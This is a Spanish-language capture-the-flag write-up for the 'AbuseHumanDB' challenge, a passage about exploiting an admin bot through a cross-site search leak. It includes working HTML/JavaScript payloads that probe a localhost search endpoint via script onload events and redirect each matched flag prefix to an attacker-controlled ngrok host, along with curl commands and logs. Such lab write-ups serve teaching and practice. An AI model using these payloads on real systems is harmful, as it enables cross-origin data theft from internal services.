AbuseHumanDB
6 minutos de lectura
Tenemos una página web que nos permite introducir una URL. Posteriormente, un bot accederá:
Análisis de código fuente
En el código fuente tenemos una aplicación en Express JS. Este es el archivo route/index.js
:
const bot = require('../bot')
const path = require('path')
const express = require('express')
const router = express.Router()
const response = data => ({ message: data })
const isLocalhost = req => (req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337' ? 0 : 1)
let db
/* snip */
router.post('/api/entries', (req, res) => {
const { url } = req.body
if (url) {
uregex =
/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
if (url.match(uregex)) {
return bot
.visitPage(url)
.then(() => res.send(response('Your submission is now pending review!')))
.catch(() => res.send(response('Something went wrong! Please try again!')))
}
return res.status(403).json(response('Please submit a valid URL!'))
}
return res.status(403).json(response('Missing required parameters!'))
})
router.get('/api/entries/search', (req, res) => {
if (req.query.q) {
const query = `${req.query.q}%`
return db
.getEntry(query, isLocalhost(req))
.then(entries => {
if (entries.length == 0)
return res.status(404).send(response('Your search did not yield any results!'))
res.json(entries)
})
.catch(() => res.send(response('Something went wrong! Please try again!')))
}
return res.status(403).json(response('Missing required parameters!'))
})
module.exports = database => {
db = database
return router
}
Al echar un vistazo a las rutas, parece que tenemos que forzar al bot a que acceda a nuestra página maliciosa y utilizar Cross-Site Request Forgery (CSRF) para conseguir la flag. Necesitamos esto porque la flag solamente se puede obtener mediante peticiones realizadas desde 127.0.0.1
(existe una validación).
Solo si tenemos approved = 0
(que significa que la petición se realiza desde 127.0.0.1
) podremos tomar la flag de la base de datos:
const sqlite = require('sqlite-async')
class Database {
constructor(db_file) {
this.db_file = db_file
this.db = undefined
}
async connect() {
this.db = await sqlite.open(this.db_file)
}
async migrate() {
return this.db.exec(`
PRAGMA case_sensitive_like=ON;
DROP TABLE IF EXISTS userEntries;
CREATE TABLE IF NOT EXISTS userEntries (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
title VARCHAR(255) NOT NULL UNIQUE,
url VARCHAR(255) NOT NULL,
approved BOOLEAN NOT NULL
);
INSERT INTO userEntries (title, url, approved) VALUES ("Back The Hox :: Cyber Catastrophe Propaganda CTF against Aliens", "https://ctf.backthehox.ew/ctf/82", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Drunk Alien Song | Patlamaya Devam (official video)", "https://www.youtune.com/watch?v=jPPT7TcFmAk", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Mars Attacks! Earth is invaded by Martians with unbeatable weapons and a cruel sense of humor.", "https://www.imbd.com/title/tt0116996/", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Professor Steven Rolling fears aliens could ‘plunder, conquer and colonise’ Earth if we contact them", "https://www.thebun.co.uk/tech/4119382/professor-steven-rolling-fears-aliens-could-plunder-conquer-and-colonise-earth-if-we-contact-them/", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("HTB{f4k3_fl4g_f0r_t3st1ng}","https://app.backthehox.ew/users/107", 0);
`)
}
async listEntries(approved = 1) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM userEntries WHERE approved = ?')
resolve(await stmt.all(approved))
} catch (e) {
console.log(e)
reject(e)
}
})
}
async getEntry(query, approved = 1) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare(
'SELECT * FROM userEntries WHERE title LIKE ? AND approved = ?'
)
resolve(await stmt.all(query, approved))
} catch (e) {
console.log(e)
reject(e)
}
})
}
}
module.exports = Database
Nótese que el método que realiza la búsqueda tiene un wildcard (%
), de manera que podemos exfiltrar la información carácter a carácter (es decir, H
, HT
, HTB
, HTB{
, y así hasta tener la flag entera).
Para exponer un servidor local que pueda ser accedido por el bot, podemos utilizar ngrok
y un servidor HTTP con Python:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
$ ngrok http 80
ngrok
Session Status online
Account Rocky (Plan: Free)
Version 2.3.40
Region United States (us)
Latency 113.341258ms
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:80
Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 0.00 0.00
Pruebas
Para añadir nuestra URL y que el bot acceda podemos utilizar curl
:
$ curl http://46.101.75.251:31743/api/entries -H 'Content-Type: application/json' -d '{"url":"http://abcd-12-34-56-78.ngrok.io"}'
{"message":"Your submission is now pending review!"}
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] "GET / HTTP/1.1" 200 -
Perfecto, nos llega la petición del bot. Ahora podemos crear un archivo index.html
como este:
<!doctype html>
<html>
<head></head>
<body>
<script>
location.href = 'http://abcd-12-34-56-78.ngrok.io/test'
</script>
</body>
</html>
Y ahora tenemos una segunda petición a /test
:
$ python3 -m http.server 80
::1 - - [11/Feb/2022 13:15:50] "GET / HTTP/1.1" 200 -
::1 - - [11/Feb/2022 13:15:50] code 404, message File not found
::1 - - [11/Feb/2022 13:15:50] "GET /test HTTP/1.1" 404 -
Estrategia de explotación
La idea es realizar una petición a http://127.0.0.1:1337/api/entries/search
y utilizar un parámetro q
para extraer la flag.
Sin embargo, debido al Same-Origin Policy, no podemos leer las respuestas de las peticiones realizadas a otros dominios desde nuestro dominio. Entonces, incluso si utilizamos <img>
o <iframe>
, los contenidos de la respuesta no se verán, aunque la petición sí se realiza y llega al servidor remoto. Por tanto, tenemos una manera de saber si la petición ha sido exitosa o ha fallado.
Prueba de concepto
Aquí tenemos una prueba de concepto utilizando un elemento <script>
y eventos onload
, onerror
:
<!doctype html>
<html>
<head></head>
<body>
<script>
const flag = 'HTB'
const s = document.createElement('script')
s.src = 'http://127.0.0.1:1337/api/entries/search?q=' + flag
s.onload = () => location.href = 'http://abcd-12-34-56-78.ngrok.io/success'
s.error = () => location.href = 'http://abcd-12-34-56-78.ngrok.io/error'
document.head.appendChild(s)
</script>
</body>
</html>
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] "GET / HTTP/1.1" 200 -
::1 - - [] code 404, message File not found
::1 - - [] "GET /success HTTP/1.1" 404 -
Y si el fragmento de flag es incorrecto:
<!doctype html>
<html>
<head></head>
<body>
<script>
const flag = 'HTX'
const s = document.createElement('script')
s.src = 'http://127.0.0.1:1337/api/entries/search?q=' + flag
s.onload = () => location.href = 'http://abcd-12-34-56-78.ngrok.io/success'
s.error = () => location.href = 'http://abcd-12-34-56-78.ngrok.io/error'
document.head.appendChild(s)
</script>
</body>
</html>
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] "GET / HTTP/1.1" 200 -
::1 - - [] code 404, message File not found
::1 - - [] "GET /error HTTP/1.1" 404 -
Este es el oráculo que necesitamos para extraer la flag carácter a carácter.
Desarrollo del exploit
Aún así, existe otro problema más porque el servidor tarda unos 7 segundos en procesar la URL. Para evitar este problema ligeramente, podemos probar todos los caracteres en el propio index.html
y el que devuelva un mensaje de éxito será el correcto, en lugar de probar cada carácter uno a uno como se mostró anteriormente. Este es el index.html
:
<!doctype html>
<html>
<head></head>
<body>
<script>
const flag = 'HTB{'
const characters = '}0123456789abcdefghijklmnopqrstuvwxyz!#$@'.split('')
for (const c of characters) {
const s = document.createElement('script')
s.src = 'http://127.0.0.1:1337/api/entries/search?q=' + encodeURIComponent(flag + c)
s.onload = () => location.href = 'http://abcd-12-34-56-78.ngrok.io?flag=' + encodeURIComponent(flag + c)
document.head.appendChild(s)
}
</script>
</body>
</html>
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] "GET / HTTP/1.1" 200 -
::1 - - [] "GET /?flag=HTB%7B5 HTTP/1.1" 200 -
Perfecto, tenemos el primer carácter. Ahora podemos actualizar el valor de la flag en el index.html
y probar otra vez:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] "GET / HTTP/1.1" 200 -
::1 - - [] "GET /?flag=HTB%7B5w HTTP/1.1" 200 -
En este punto, podemos crear un script que extraiga la flag completa siguiendo este proceso de forma automática: solve.py
(explicación detallada aquí).
Flag
Si lo ejecutamos, obtenemos la flag:
$ python3 solve.py http://46.101.75.251:31743 http://abcd-12-34-56-78.ngrok.io
[+] Flag: HTB{5w33t_ali3ndr3n_0f_min3!}